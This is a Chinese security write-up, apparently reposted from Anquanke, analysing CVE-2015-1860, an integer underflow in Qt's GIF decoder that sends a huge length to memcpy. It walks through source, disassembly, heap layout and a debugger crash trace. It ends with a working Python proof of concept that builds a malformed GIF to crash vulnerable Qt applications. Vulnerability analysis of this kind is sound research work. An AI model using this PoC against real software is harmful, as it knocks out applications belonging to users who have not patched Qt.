Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】CVE-2015-1860分析:Qt模块处理gif图导致崩溃(附PoC)

$
0
0
【技术分享】CVE-2015-1860分析:Qt模块处理gif图导致崩溃(附PoC)

2017-01-13 11:20:50
来源:安全客 作者:simp1e_Pwn

阅读:753次
点赞(0)
收藏





【技术分享】CVE-2015-1860分析:Qt模块处理gif图导致崩溃(附PoC)

作者:simp1e_Pwn

预估稿费:400RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


漏洞背景
Qt是一个跨平台的图形化界面编程框架,其版本在小于4.8.7和5.x小于5.4.2解析图片的过程中对于越界检查的处理不当,会导致memcpy的过程中发生越界错误,这个漏洞已经被公开了,但是Qt作为基础库,许多基于Qt的软件并没有更新,同时Qt在跨平台的软件中广泛应用,因此也存在很大风险,同时网络上没有PoC,笔者经过分析写出来PoC。

漏洞成因

QGIFFormat::nextY()在处理时,对于越界没有检查,外面被置上了越界标志,内部依然照样运行,这就会出现问题。 代码问题,我们可以对照Qt的code Review来看看。

【技术分享】CVE-2015-1860分析:Qt模块处理gif图导致崩溃(附PoC)

最终问题在/src/gui/image/gifhandler.cpp 的QGIFFormat::nextY()的memcpy,这里我们可以控制left,使得right-left 小于0,那么拷贝的时候就可以很大了,但是因为这样拷贝的数据过大,只能导致崩溃,不能利用。

voidQGIFFormat::nextY(unsignedchar*bits,intbpl) { intmy; switch(interlace){my=qMin(7,bottom-y); //Don'tdupwithtransparency if(trans_index<0){ for(i=1;i<=my;i++){ memcpy(FAST_SCAN_LINE(bits,bpl,y+i)+left*sizeof(QRgb),FAST_SCAN_LINE(bits,bpl,y)+left*sizeof(QRgb), (right-left+1)*sizeof(QRgb)); } } ....

QGIFFormat::nextY()关键处的反汇编代码如下。

.text:68F015EEloc_68F015EE:;CODEXREF:gif_nexty+1EEj .text:68F015EEmovesi,[eax+60h];left .text:68F015F1leaebx,ds:0[esi*4] .text:68F015F8leaecx,[edi+edx] .text:68F015FBimulecx,[ebp+t_bpl] .text:68F015FFaddecx,ebx .text:68F01601addecx,[ebp+arg_4] .text:68F01604mov[ebp+var_10],ecx .text:68F01607movecx,[eax+68h];right .text:68F0160Asubecx,esi;right-left .text:68F0160Cleaecx,ds:4[ecx*4] .text:68F01613imuledi,[ebp+t_bpl] .text:68F01617leaesi,[edi+ebx] .text:68F0161Aaddesi,[ebp+arg_4] .text:68F0161D;72:while(1) .text:68F0161Dmovedi,[ebp+var_10] .text:68F01620repmovsb;memcpy

漏洞复现

这里是对gif文件进行的解析,所以我们必须得学习gif的文件格式知识。关于这方面的知识,有很多博客讲解的很详细了,大家可以参考http://blog.csdn.net/wzy198852/article/details/17266507

这里就不再赘述,直接给大家一个和Qt的GIFFormat::decode函数里面的变量对应好的例子吧。


【技术分享】CVE-2015-1860分析:Qt模块处理gif图导致崩溃(附PoC)

下面我们先来看源码QGIFFormat::decode()函数中的部分代码。从490行到560行,这里是涉及到调用QGIFFormat::nextY函数的核心代码,中间主要是一段涉及到LZW的解码算法,解码之后得到GlobalColormap中的index,并把这些像素点对应的颜色值复制到bits对应的数组里面去。

if(needfirst){ firstcode=oldcode=code; if(!out_of_bounds&&image->height()>y&&((frame==0)||(firstcode!=trans_index))) ((QRgb*)FAST_SCAN_LINE(bits,bpl,y))[x]=color(firstcode); x++; if(x>=swidth)out_of_bounds=true; needfirst=false; if(x>=left+width){ x=left; out_of_bounds=left>=swidth||y>=sheight; nextY(bits,bpl); } }else{ incode=code; if(code>=max_code){ *sp++=firstcode; code=oldcode; } while(code>=clear_code+2){ if(code>=max_code){ state=Error; return-1; } *sp++=table[1][code]; if(code==table[0][code]){ state=Error; return-1; } if(sp-stack>=(1<<(max_lzw_bits))*2){ state=Error; return-1; } code=table[0][code]; } if(code<0){ state=Error; return-1; } *sp++=firstcode=table[1][code]; code=max_code; if(code<(1<<max_lzw_bits)){ table[0][code]=oldcode; table[1][code]=firstcode; max_code++; if((max_code>=max_code_size) &&(max_code_size<(1<<max_lzw_bits))) { max_code_size*=2; code_size++; } } oldcode=incode; constinth=image->height(); QRgb*line=0; if(!out_of_bounds&&h>y) line=(QRgb*)FAST_SCAN_LINE(bits,bpl,y); while(sp>stack){ constucharindex=*(--sp); if(!out_of_bounds&&h>y&&((frame==0)||(index!=trans_index))){ line[x]=color(index); } x++; if(x>=swidth)out_of_bounds=true; if(x>=left+width){ x=left; out_of_bounds=left>=swidth||y>=sheight; nextY(bits,bpl); if(!out_of_bounds&&h>y) line=(QRgb*)FAST_SCAN_LINE(bits,bpl,y); } } }

我们来看memcpy里面的各个参数是受到什么影响的

memcpy(FAST_SCAN_LINE(bits,bpl,y+i)+left*sizeof(QRgb),FAST_SCAN_LINE(bits,bpl,y)+left*sizeof(QRgb), (right-left+1)*sizeof(QRgb)); #defineFAST_SCAN_LINE(bits,bpl,y)(bits+(y)*bpl)//bits和bpl的来源 gifhandler.cpp-line356 if(image->isNull()){ (*image)=QImage(swidth,sheight,format); bpl=image->bytesPerLine(); bits=image->bits(); memset(bits,0,image->byteCount()); } //left和right还有y的来源gifhandler.cppline338,366intnewleft=LM(hold[1],hold[2]); intnewtop=LM(hold[3],hold[4]); left=newleft; top=newtop;y=top;right=qMax(0,qMin(left+width,swidth)-1); bottom=qMax(0,qMin(top+height,sheight)-1);

同时还有我们进入memcpy函数外面的对my的判断

my=qMin(7,bottom-y); 这里my也不能小于0,小于0也不会调用memcpy。同时我们为了搞清楚溢出的边界在哪里,我们必须知道分配的堆有多大,我们断在**bits = image ->bits()** 这里immunitydebugger跟入,断点断在0x68f01e9f

【技术分享】CVE-2015-1860分析:Qt模块处理gif图导致崩溃(附PoC)

可以看见这里的eax=0x318ab90

借助mona插件我们得到堆内存的布局如下

0BADF00D_HEAP_ENTRYpsizesizeunusedUserPtrUserSize 0BADF00D0318a8300007000028000180318a83800000010(16)(Fillpattern,Extrapresent,Busy) 0BADF00D0318a8580002800118000180318a86000000100(256)(Fillpattern,Extrapresent,Busy) 0BADF00D0318a9700011800218000180318a97800000200(512)(Fillpattern,Extrapresent,Busy) 0BADF00D0318ab8800218002d8000180318ab90000002c0(704)(Fillpattern,Extrapresent,Busy) 0BADF00D0318ae60002d802400000000318ae6800002400(9216)(Fillpattern) 0BADF00D0318d2600240000038000180318d26800000020(32)(Fillpattern,Extrapresent,Busy) 0BADF00D0318d2980003800098000180318d2a000000080(128)(Fillpattern,Extrapresent,Busy) 0BADF00D0318d3300009800058000180318d33800000040(64)(Fillpattern,Extrapresent,Busy) 0BADF00D0318d3880005800038000180318d39000000020(32)(Fillpattern,Extrapresent,Busy) 0BADF00D0318d3c00003800050000180318d3c800000038(56)(Fillpattern,Extrapresent,Busy) 0BADF00D0318d4100005000060000180318d41800000048(72)(Fillpattern,Extrapresent,Busy) 0BADF00D0318d4700006000060000180318d47800000048(72)(Fillpattern,Extrapresent,Busy) 0BADF00D0318d4d000060000600001c0318d4d800000044(68)(Fillpattern,Extrapresent,Busy) 0BADF00D0318d5300006000010000000318d53800000010(16)(Fillpattern) 0BADF00D0318d54000010015b00001a0318d54800001596(5526)(Fillpattern,Extrapresent,Busy) 0BADF00D0318eaf0015b000030000180318eaf800000018(24)(Fillpattern,Extrapresent,Busy) 0BADF00D0318eb200003000058000180318eb2800000040(64)(Fillpattern,Extrapresent,Busy) 0BADF00D0318eb7800058000380001a0318eb800000001e(30)(Fillpattern,Extrapresent,Busy) 0BADF00D0318ebb00003800030000180318ebb800000018(24)(Fillpattern,Extrapresent,Busy) 0BADF00D0318ebe00003000058000180318ebe800000040(64)(Fillpattern,Extrapresent,Busy) 0BADF00D0318ec380005800050000180318ec4000000038(56)(Fillpattern,Extrapresent,Busy) 0BADF00D0318ec880005000088000180318ec9000000070(112)(Fillpattern,Extrapresent,Busy) 0BADF00D0318ed100008800038000180318ed1800000020(32)(Fillpattern,Extrapresent,Busy) 0BADF00D0318ed480003810018000190318ed500000ffff(65535)(Fillpattern,Extrapresent,Busy) 0BADF00D0319ed601001800018000000319ed6800000018(24)(Fillpattern) 0BADF00D0319ed780001804018000180319ed8000004000(16384)(Fillpattern,Extrapresent,Busy) 0BADF00D031a2d90040180401800018031a2d9800004000(16384)(Fillpattern,Extrapresent,Busy) 0BADF00D031a6da8040180401800018031a6db000004000(16384)(Fillpattern,Extrapresent,Busy) 0BADF00D031aadc0040180801800018031aadc800008000(32768)(Fillpattern,Extrapresent,Busy) 0BADF00D031b2dd8080182120800000031b2de000021208(135688)(Fillpattern) 0BADF00D031d3fe0212080002000003031d3fe80000001d(29)(Busy) 0BADF00D0x031d3ff8-0x034f0000(endofsegment):0x31c008(3260424)uncommittedbytes 0BADF00D

我们可以看到大小是0x2c0=(0x10(swidth)*0xb(sheight)*4(sizeof(Qrgb)))。

依据以上的分析,我们可以得出来,如果我们设置top大于sheight的时候,就有导致my小于0,不能执行memcpy,而其他情况下这里的代码可以保证复制的数据不溢出边界,但是如果我将right调整得比left小的话那么就发生了整形溢出,因为memcpy的时候最后一个参数是无符号整数,所以就会变成一个特别大的数字,从而导致复制数据到了不可写的地方导致程序崩溃。我们再来分析这个数字在哪个范围呢?因为的left,width,top的范围都是0~65535所以right最小是0,left最大是65535,(right-left+1)*sizeof(QRgb)(4)=0xFFFC0008,这个时候的memcpy的值是最小的,但是还是太大了,所以导致了崩溃。因而这个漏洞也就是只能够导致dos的,不能够利用。

//断在68f016d Breakpoint0hit eax=03f2c628ebx=00000080ecx=ffffffc0edx=00000001esi=03141388edi=00000000 eip=68f0161desp=0022cde4ebp=0022cdf8iopl=0nvupeiplnznapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00200206 qgif4+0x161d: 68f0161d8b7df0movedi,dwordptr[ebp-10h]ss:0023:0022cde8=031413c8 0:000>g (8b4.ab4):Accessviolation-codec0000005(firstchance) Firstchanceexceptionsarereportedbeforeanyexceptionhandling. Thisexceptionmaybeexpectedandhandled. eax=03f2c628ebx=00000080ecx=fff7c388edx=00000001esi=031c4fc0edi=031c5000 eip=68f01620esp=0022cde4ebp=0022cdf8iopl=0nvupeiplnznapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00210206 qgif4+0x1620: 68f01620f3a4repmovsbyteptres:[edi],byteptr[esi]

PoC

最后附上PoC,其实这里的PoC就是生成了一个gif文件,任何使用上述有漏洞的Qt版本来处理gif的软件就会发生崩溃。

#!/use/bin/python #coding:utf-8 importsys defencode_lzw(stri,lzw_size): clear_code=1<<lzw_size end_code=clear_code+1 entry,head,tail=0,0,0 dit={} outp=[] ll=len(stri) head=stri[0] cur_code=end_code+1 foriinxrange(1,ll): tail=stri[i] kk=(head,tail) ifdit.has_key(kk): #如果在表里面的话 head=dit[kk] continue else: outp.append(head) dit[kk]=cur_code print'key:%svalue:%s'%(kk,cur_code) cur_code+=1 head=tail continue returnoutp importstruct importmath if__name__=="__main__": header='GIF89a' my_wdith=0x1 my_height=0xb my_color_count=32 swdith=struct.pack('H',my_wdith) sheight=struct.pack('H',my_height) scode=struct.pack('B',0xc0+(int(math.log(my_color_count,2))-1))+'\x00'+'\x00' color_map='' foriinxrange(my_color_count): color_map+=struct.pack('bbb',i,i,i) introducer='\x21\xf9' graphicControlExtension='\x04'+'\x00'*4 skip='\x00\x2c' left=struct.pack('H',0xffff) top=struct.pack('H',0) width=struct.pack('H',0x10) height=struct.pack('H',0xB) flg=struct.pack('B',0x40) lzwsize=struct.pack('B',0x5) datablocksize=struct.pack('B',0x81) plain='' foriinxrange(26): plain+=chr(ord('A')+i)*8 plain=plain+'A'*20+'BCDEFGHIJK'*2+'CCC'+'KJUI' printplain enc=encode_lzw(plain,5) datablock='' foriinenc: iftype(i)==str: datablock+=struct.pack('B',ord(i)-ord('A')) else: datablock+=struct.pack('B',i) printdatablock eof='\x21\x00\x3b' fp=open('1.gif','wb') bin_data=header+swdith+sheight+scode+color_map+introducer+graphicControlExtension bin_data+=skip+left+top+width+height+flg+lzwsize+datablocksize+datablock+eof fp.write(bin_data) fp.close()

【技术分享】CVE-2015-1860分析:Qt模块处理gif图导致崩溃(附PoC)
【技术分享】CVE-2015-1860分析:Qt模块处理gif图导致崩溃(附PoC)
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3393.html

Viewing all articles
Browse latest Browse all 12749

Trending Articles